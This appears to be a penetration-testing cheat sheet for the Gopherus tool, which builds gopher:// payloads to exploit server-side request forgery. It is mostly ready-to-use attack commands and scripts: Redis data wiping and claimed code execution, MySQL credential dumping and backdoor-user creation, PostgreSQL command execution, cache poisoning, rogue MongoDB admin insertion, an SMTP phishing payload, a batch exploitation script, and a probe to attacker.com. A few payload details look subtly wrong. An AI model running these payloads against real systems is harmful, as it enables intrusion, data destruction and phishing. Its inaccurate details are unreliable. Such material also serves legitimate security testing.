Zum Inhalt springen

Gopherus

Gopherus is an interactive SSRF payload generator that simplifies creation of Gopher protocol payloads for exploiting Server-Side Request Forgery vulnerabilities. It automates complex protocol formatting for common backend services.

Installation

# Clone repository
git clone https://github.com/tarunkant/Gopherus
cd Gopherus

# Install Python requirements
pip3 install -r requirements.txt

# Make executable
chmod +x gopherus.py

# Run interactive menu
python3 gopherus.py

Interactive Menu

python3 gopherus.py

Menu options:

  1. Redis
  2. MySQL
  3. PostgreSQL
  4. Memcached
  5. MongoDB
  6. SMTP
  7. SSH

Follow interactive prompts for parameters, tool generates gopher:// URL payload.

Redis Exploitation

Basic FLUSHDB Command

# Interactive mode
python3 gopherus.py
# Select: 1 (Redis)
# Command: FLUSHDB

# Output example:
# gopher://127.0.0.1:6379/_FLUSHDB%0a

# Use in SSRF
curl "http://vulnerable.com/?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_FLUSHDB%250a"

SET Command (Write Data)

python3 gopherus.py
# Select: 1 (Redis)
# Command: SET key value
# Example: SET admin true

# Payload variation:
gopher://target:6379/_SET%20admin%20true%0a

# Manual encoding:
gopher://target:6379/_*3%0d%0a$3%0d%0aset%0d%0a$5%0d%0aadmin%0d%0a$4%0d%0atrue%0d%0a

GET Command (Read Data)

python3 gopherus.py
# Select: 1 (Redis)
# Command: GET key
# Example: GET secret_token

# Payload:
gopher://target:6379/_GET%20secret_token%0a

# Redis protocol:
gopher://target:6379/_*2%0d%0a$3%0d%0aget%0d%0a$12%0d%0asecret_token%0d%0a

LLEN (Get List Length)

python3 gopherus.py
# Select: 1 (Redis)
# Command: LLEN keyname

# Returns length of list at key
gopher://target:6379/_LLEN%20userlist%0a

LPUSH (Write to List)

python3 gopherus.py
# Select: 1 (Redis)
# Command: LPUSH listname value

# Payload:
gopher://target:6379/_LPUSH%20queue%20payload%0a

EVAL (Lua Script Execution)

python3 gopherus.py
# Select: 1 (Redis)
# Script: redis.call('system','command')

# Complex payload for RCE:
gopher://target:6379/_eval%20%22redis.call%28%27system%27%2C%27id%27%29%22%200%0a

MySQL Exploitation

Authentication and Enumeration

python3 gopherus.py
# Select: 2 (MySQL)
# Username: root
# Password: (leave empty for default)
# Query: SELECT version();

# Output payload for internal MySQL:
gopher://127.0.0.1:3306/[encoded-mysql-protocol]

# Test connection
curl "http://vulnerable.com/?url=gopher%3A%2F%2F127.0.0.1%3A3306%2F..."

Common MySQL Queries via SSRF

# Show databases
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;

# Show tables
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='target_db';

# Extract data
SELECT user,password FROM mysql.user;

# Create backdoor user
CREATE USER 'backdoor'@'%' IDENTIFIED BY 'password123';
GRANT ALL PRIVILEGES ON *.* TO 'backdoor'@'%';

Gopherus MySQL Workflow

# 1. Generate auth payload
python3 gopherus.py
# Select 2 (MySQL)
# Answer interactive prompts

# 2. Encode output for SSRF parameter
# Payload returned in URL-encoded format

# 3. Inject via SSRF endpoint
curl "http://target.com/?url=[encoded-payload]"

# 4. Check response for:
# - MySQL error messages (version info)
# - Query results
# - Connection confirmation

PostgreSQL Exploitation

Database Enumeration

python3 gopherus.py
# Select: 3 (PostgreSQL)
# Database: postgres
# Username: postgres
# Password: (leave empty)
# Query: SELECT version();

# Typical payload:
gopher://internal-postgres:5432/_[encoded-protocol]

PostgreSQL Command Execution

# Execute system commands via COPY
COPY (SELECT '') TO PROGRAM 'whoami';

# Write files
COPY (SELECT 'content') TO '/tmp/file.txt';

# List files
SELECT pg_ls_dir('./');

# Create function for RCE
CREATE FUNCTION cmd_exec(text) RETURNS text AS '...';
SELECT cmd_exec('command');

Gopherus PostgreSQL Setup

python3 gopherus.py
# Select 3 (PostgreSQL)
# Follow prompts for credentials and SQL query

# Payload generates gopher URL
# Use in SSRF like:
curl "http://vulnerable-app.com/?redirect=gopher%3A%2F%2F10.0.0.5%3A5432%2F..."

Memcached Exploitation

SET and GET Commands

python3 gopherus.py
# Select: 4 (Memcached)
# Key: admin_session
# Value: authenticated_user_123
# Expiration: 0 (never expire)

# Payload format:
gopher://127.0.0.1:11211/_set%20admin_session%200%200%2018%0aadmin_user_001%0a

# GET command:
gopher://127.0.0.1:11211/_get%20admin_session%0a

Cache Poisoning via SSRF

# Set malicious cached value
gopher://internal-memcached:11211/_set%20csrf_token%200%200%2040%0amalicious_token_value_here%0a

# DELETE key
gopher://internal-memcached:11211/_delete%20session_token%0a

# FLUSH (clear all)
gopher://internal-memcached:11211/_flush_all%0a

MongoDB Exploitation

Interactive Mode

python3 gopherus.py
# Select: 5 (MongoDB)
# Database: admin
# Collection: users
# Query: db.users.find({})

# Returns MongoDB wire protocol payload

MongoDB Operations via SSRF

# Find all users
db.users.find({})

# Insert admin user
db.users.insert({username: 'admin', password: 'hash', role: 'admin'})

# Update user role
db.users.updateOne({username: 'user'}, {$set: {role: 'admin'}})

# Execute JavaScript
db.eval('function f(){return 1;}')

SMTP Exploitation

Send Email via SSRF

python3 gopherus.py
# Select: 6 (SMTP)
# Sender: attacker@internal.com
# Recipient: admin@company.com
# Subject: Test
# Message: Malicious content

# SMTP payload includes:
# - HELO command
# - MAIL FROM
# - RCPT TO
# - DATA with message
# - QUIT

Manual SMTP Gopher Payload

# SMTP commands via gopher
gopher://mail.internal:25/_HELO%20attacker.com%0aMAIL%20FROM%3A%20attacker%40internal.com%0aRCPT%20TO%3A%20admin%40company.com%0aDATA%0aSubject%3A%20Phishing%0a%0aClick%20link%0a.%0aQUIT%0a

# Broken down:
# HELO attacker.com
# MAIL FROM: attacker@internal.com
# RCPT TO: admin@company.com
# DATA
# Subject: Phishing
#
# Click link
# .
# QUIT

SMTP Auth Bypass

# SMTP without authentication
# Typical port: 25 (unauthenticated)

# If port 587/465 required:
# Generate payload with credentials via gopherus
python3 gopherus.py
# Select 6 (SMTP)
# Include AUTH settings

Payload Encoding and Injection

URL Encoding for SSRF Parameters

# Raw gopher payload:
gopher://127.0.0.1:6379/_FLUSHDB%0a

# URL encode for web parameter:
# gopher:// -> gopher%3A%2F%2F
# : -> %3A
# / -> %2F
# Space -> %20 or +
# Newline \n -> %0a
# Carriage return \r -> %0d

# Full encoded:
gopher%3A%2F%2F127.0.0.1%3A6379%2F_FLUSHDB%250a

# Usage in SSRF:
http://vulnerable.com/?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_FLUSHDB%250a
curl -G "http://target.com/fetch" \
  --data-urlencode "url=gopher://127.0.0.1:6379/_FLUSHDB"

SSRF Parameter Variations

# Common parameter names for SSRF:
?url=
?uri=
?endpoint=
?target=
?fetch=
?redirect=
?proxy=
?resource=
?file=

# Test all parameters:
for param in url uri endpoint target fetch redirect proxy resource file; do
    curl "http://target.com/?$param=gopher%3A%2F%2F127.0.0.1%3A6379%2F_FLUSHDB%250a"
done

Python Integration

Automated Payload Generation

import urllib.parse
import subprocess

def generate_gopherus_payload(service, **kwargs):
    """Generate gopherus payload via subprocess"""

    # Map service to gopherus menu option
    service_map = {
        'redis': '1',
        'mysql': '2',
        'postgres': '3',
        'memcached': '4',
        'mongodb': '5',
        'smtp': '6',
        'ssh': '7'
    }

    menu_choice = service_map.get(service)

    # Build interactive input
    input_text = f"{menu_choice}\n"
    for value in kwargs.values():
        input_text += f"{value}\n"

    # Execute gopherus
    process = subprocess.Popen(
        ['python3', 'gopherus.py'],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True
    )

    stdout, stderr = process.communicate(input=input_text)

    # Extract gopher URL from output
    for line in stdout.split('\n'):
        if line.startswith('gopher://'):
            return line.strip()

    return None

# Usage
redis_payload = generate_gopherus_payload('redis', command='FLUSHDB')
print(f"Payload: {redis_payload}")

# URL encode for SSRF
encoded = urllib.parse.quote(redis_payload, safe='')
ssrf_url = f"http://vulnerable.com/?url={encoded}"
print(f"SSRF URL: {ssrf_url}")

Batch Exploitation

import requests
import urllib.parse

# Target vulnerable endpoints
targets = [
    'http://app1.internal/fetch?url=',
    'http://app2.internal/proxy?target=',
    'http://app3.internal/curl?endpoint='
]

# Payloads to test
payloads = [
    'gopher://redis:6379/_FLUSHDB%0a',
    'gopher://mysql:3306/_...',
    'gopher://postgres:5432/_...'
]

for target in targets:
    for payload in payloads:
        encoded = urllib.parse.quote(payload, safe='')
        url = target + encoded

        try:
            response = requests.get(url, timeout=5)
            print(f"[+] {target[:30]}... - Status: {response.status_code}")

            # Check for service-specific responses
            if 'PONG' in response.text or 'QUEUED' in response.text:
                print(f"[!] Vulnerable! Service responded: {response.text[:50]}")
        except Exception as e:
            print(f"[-] {target[:30]}... - Error: {str(e)[:30]}")

Real-World SSRF Detection

Finding SSRF Endpoints

# Look for URL/fetch parameters in web apps
burp_sitemap | grep -E "(url|fetch|endpoint|proxy|redirect|resource)"

# Common vulnerable endpoints:
# /fetch?url=
# /api/proxy?target=
# /image?source=
# /download?file=
# /render?url=
# /webhook?callback=
# /share?link=

# Test with internal IP ranges:
gopher://127.0.0.1:6379/_PING%0a
gopher://10.0.0.1:3306/_...
gopher://172.16.0.1:5432/_...
gopher://192.168.1.1:25/_HELO%0a

Reconnaissance Checklist

# 1. Identify SSRF parameter
curl "http://target.com/?url=http://attacker.com"

# 2. Check for Gopher protocol support
curl "http://target.com/?url=gopher://127.0.0.1:80"

# 3. Discover internal services
# Test common ports: 6379(Redis), 3306(MySQL), 5432(PG), 11211(Memcached)

# 4. Generate service-specific payload
python3 gopherus.py

# 5. Inject and verify
curl "http://target.com/?url=[encoded-gopher-payload]"

# 6. Check response for:
# - Service errors/banners
# - Successful command execution
# - Data exfiltration indicators

Best Practices

  • Always run in controlled lab environment first
  • Verify SSRF exists before Gopher exploitation
  • Use multiple services to confirm impact
  • Check for input validation and firewall rules
  • Monitor for SOC alerts during testing
  • Clean up any data modifications after testing
  • Document all discovered services and credentials
  • Use blind SSRF techniques for out-of-band data retrieval

References


Last updated: 2026-03-30